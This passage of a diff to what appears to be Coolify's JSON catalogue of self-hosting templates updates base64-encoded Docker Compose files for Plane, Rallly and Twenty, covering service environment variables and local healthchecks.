09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtaWdyYXRvcjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIHJlc3RhcnQ6ICdubycKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LW1pZ3JhdG9yLnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX21pZ3JhdG9yOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIEFQUF9ET01BSU46ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgRklMRV9TSVpFX0xJTUlUOiAnJHtGSUxFX1NJWkVfTElNSVQ6LTUyNDI4ODB9JwogICAgICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgU0lURV9BRERSRVNTOiAnJHtTSVRFX0FERFJFU1M6LTo4MH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi4xMS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdyYWJiaXRtcV9kYXRhOi92YXIvbGliL3JhYmJpdG1xJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdyYWJiaXRtcS1kaWFnbm9zdGljcyAtcSBwaW5nJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDMwcwogICAgICByZXRyaWVzOiAzCiAgcGxhbmUtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZXhwb3J0IC0tY29uc29sZS1hZGRyZXNzICI6OTA5MCInCiAgICBlbnZpcm9ubWVudDoKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzOi9leHBvcnQnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbWMKICAgICAgICAtIHJlYWR5CiAgICAgICAgLSBsb2NhbAogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "tags": [ + "plane", + "project-management", + "tool", + "open", + "source", + "api", + "nextjs", + "redis", + "postgresql", + "django", + "pm" + ], + "category": "productivity", + "logo": "svgs/plane.svg", + "minversion": "0.0.0", + "port": "80" + }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3950,7 +3987,7 @@ "rallly": { "documentation": "https://support.rallly.co/self-hosting/introduction?utm_source=coolify.io", "slogan": "Rallly is an open-source scheduling and collaboration tool designed to make organizing events and meetings easier.", - "compose": "c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUkFMTExZXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcmFsbGx5X2RiOjU0MzIvJHtQT1NUR1JFU19EQjotcmFsbGx5fScKICAgICAgLSAnU0VDUkVUX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF82NF9SQUxMTFl9JwogICAgICAtICdORVhUX1BVQkxJQ19CQVNFX1VSTD1odHRwczovLyR7U0VSVklDRV9VUkxfUkFMTExZfScKICAgICAgLSAnQUxMT1dFRF9FTUFJTFM9JHtBTExPV0VEX0VNQUlMU30nCiAgICAgIC0gJ1NVUFBPUlRfRU1BSUw9JHtTVVBQT1JUX0VNQUlMOi1zdXBwb3J0QGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnU01UUF9QT1JUPSR7U01UUF9QT1JUfScKICAgICAgLSAnU01UUF9TRUNVUkU9JHtTTVRQX1NFQ1VSRX0nCiAgICAgIC0gJ1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ1NNVFBfUFdEPSR7U01UUF9QV0R9JwogICAgICAtICdTTVRQX1RMU19FTkFCTEVEPSR7U01UUF9UTFNfRU5BQkxFRH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gImJhc2ggLWMgJzo+IC9kZXYvdGNwLzEyNy4wLjAuMS8zMDAwJyB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgcmFsbGx5X2RiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNC4yJwogICAgdm9sdW1lczoKICAgICAgLSAncmFsbGx5X2RiX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1yYWxsbHl9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1kICQke1BPU1RHUkVTX0RCfSAtVSAkJHtQT1NUR1JFU19VU0VSfScKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHJhbGxseToKICAgIGltYWdlOiAnbHVrZXZlbGxhL3JhbGxseTpsYXRlc3QnCiAgICBwbGF0Zm9ybTogbGludXgvYW1kNjQKICAgIGRlcGVuZHNfb246CiAgICAgIHJhbGxseV9kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUkFMTExZXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcmFsbGx5X2RiOjU0MzIvJHtQT1NUR1JFU19EQjotcmFsbGx5fScKICAgICAgLSAnU0VDUkVUX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF82NF9SQUxMTFl9JwogICAgICAtICdORVhUX1BVQkxJQ19CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX1JBTExMWX0nCiAgICAgIC0gJ0FMTE9XRURfRU1BSUxTPSR7QUxMT1dFRF9FTUFJTFN9JwogICAgICAtICdTVVBQT1JUX0VNQUlMPSR7U1VQUE9SVF9FTUFJTDotc3VwcG9ydEBleGFtcGxlLmNvbX0nCiAgICAgIC0gJ1NNVFBfSE9TVD0ke1NNVFBfSE9TVH0nCiAgICAgIC0gJ1NNVFBfUE9SVD0ke1NNVFBfUE9SVH0nCiAgICAgIC0gJ1NNVFBfU0VDVVJFPSR7U01UUF9TRUNVUkU6LWZhbHNlfScKICAgICAgLSAnU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnU01UUF9QV0Q9JHtTTVRQX1BXRH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gImJhc2ggLWMgJzo+IC9kZXYvdGNwLzEyNy4wLjAuMS8zMDAwJyB8fCBleGl0IDEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "scheduling", "rallly", @@ -4729,7 +4766,7 @@ "twenty": { "documentation": "https://docs.twenty.com?utm_source=coolify.io", "slogan": "Twenty is a CRM designed to fit your unique business needs.", - "compose": "c2VydmljZXM6CiAgdHdlbnR5OgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BTUUKICAgICAgLSBFTUFJTF9TWVNURU1fQUREUkVTUz0kRU1BSUxfU1lTVEVNX0FERFJFU1MKICAgICAgLSAnRU1BSUxfRFJJVkVSPSR7RU1BSUxfRFJJVkVSOi1sb2dnZXJ9JwogICAgICAtIEVNQUlMX1NNVFBfSE9TVD0kRU1BSUxfU01UUF9IT1NUCiAgICAgIC0gRU1BSUxfU01UUF9QT1JUPSRFTUFJTF9TTVRQX1BPUlQKICAgICAgLSBFTUFJTF9TTVRQX1VTRVI9JEVNQUlMX1NNVFBfVVNFUgogICAgICAtIEVNQUlMX1NNVFBfUEFTU1dPUkQ9JEVNQUlMX1NNVFBfUEFTU1dPUkQKICAgICAgLSBTSUdOX0lOX1BSRUZJTExFRD1mYWxzZQogICAgICAtICdERUJVR19NT0RFPSR7REVCVUdfTU9ERTotZmFsc2V9JwogICAgICAtICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICd0d2VudHktbG9jYWwtc3RvcmFnZTovYXBwL3BhY2thZ2VzL3R3ZW50eS1zZXJ2ZXIvLmxvY2FsLXN0b3JhZ2UnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgd29ya2VyOgogICAgaW1hZ2U6ICd0d2VudHljcm0vdHdlbnR5OnYxLjE1JwogICAgY29tbWFuZDoKICAgICAgLSB5YXJuCiAgICAgIC0gJ3dvcmtlcjpwcm9kJwogICAgdm9sdW1lczoKICAgICAgLSAndHdlbnR5LWxvY2FsLXN0b3JhZ2U6L2FwcC9wYWNrYWdlcy90d2VudHktc2VydmVyLy5sb2NhbC1zdG9yYWdlJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfVFdFTlRZXzMwMDAKICAgICAgLSAnU0VSVkVSX1VSTD0ke1NFUlZJQ0VfVVJMX1RXRU5UWX0nCiAgICAgIC0gJ0ZST05UX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfVFdFTlRZfScKICAgICAgLSAnQVBQX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0XzMyX1NFQ1JFVH0nCiAgICAgIC0gRU5BQkxFX0RCX01JR1JBVElPTlM9dHJ1ZQogICAgICAtICdDQUNIRV9TVE9SQUdFX1RZUEU9JHtDQUNIRV9TVE9SQUdFX1RZUEU6LXJlZGlzfScKICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vcmVkaXM6NjM3OScKICAgICAgLSAnQVBJX1JBVEVfTElNSVRJTkdfVFRMPSR7QVBJX1JBVEVfTElNSVRJTkdfVFRMOi0xMDB9JwogICAgICAtICdBUElfUkFURV9MSU1JVElOR19MSU1JVD0ke0FQSV9SQVRFX0xJTUlUSU5HX0xJTUlUOi0xMDB9JwogICAgICAtICdQT1NUR1JFU19BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR19EQVRBQkFTRV9VUkw9cG9zdGdyZXM6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LXR3ZW50eS1kYn0nCiAgICAgIC0gJ0lTX1NJR05fVVBfRElTQUJMRUQ9JHtJU19TSUdOX1VQX0RJU0FCTEVEOi1mYWxzZX0nCiAgICAgIC0gJ1BBU1NXT1JEX1JFU0VUX1RPS0VOX0VYUElSRVNfSU49JHtQQVNTV09SRF9SRVNFVF9UT0tFTl9FWFBJUkVTX0lOOi01bX0nCiAgICAgIC0gJ1dPUktTUEFDRV9JTkFDVElWRV9EQVlTX0JFRk9SRV9OT1RJRklDQVRJT049JHtXT1JLU1BBQ0VfSU5BQ1RJVkVfREFZU19CRUZPUkVfTk9USUZJQ0FUSU9OOi03fScKICAgICAgLSAnV09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OPSR7V09SS1NQQUNFX0lOQUNUSVZFX0RBWVNfQkVGT1JFX0RFTEVUSU9OOi0yMX0nCiAgICAgIC0gJ1NUT1JBR0VfVFlQRT0ke1NUT1JBR0VfVFlQRTotbG9jYWx9JwogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPSRTVE9SQUdFX1MzX1JFR0lPTgogICAgICAtIFNUT1JBR0VfUzNfTkFNRT0kU1RPUkFHRV9TM19OQU1FCiAgICAgIC0gU1RPUkFHRV9TM19FTkRQT0lOVD0kU1RPUkFHRV9TM19FTkRQT0lOVAogICAgICAtIFNUT1JBR0VfUzNfQUNDRVNTX0tFWV9JRD0kU1RPUkFHRV9TM19BQ0NFU1NfS0VZX0lECiAgICAgIC0gU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWT0kU1RPUkFHRV9TM19TRUNSRVRfQUNDRVNTX0tFWQogICAgICAtICdNRVNTQUdFX1FVRVVFX1RZUEU9JHtNRVNTQUdFX1FVRVVFX1RZUEU6LXBnLWJvc3N9JwogICAgICAtIEVNQUlMX0ZST01fQUREUkVTUz0kRU1BSUxfRlJPTV9BRERSRVNTCiAgICAgIC0gRU1BSUxfRlJPTV9OQU1FPSRFTUFJTF9GUk9NX05BT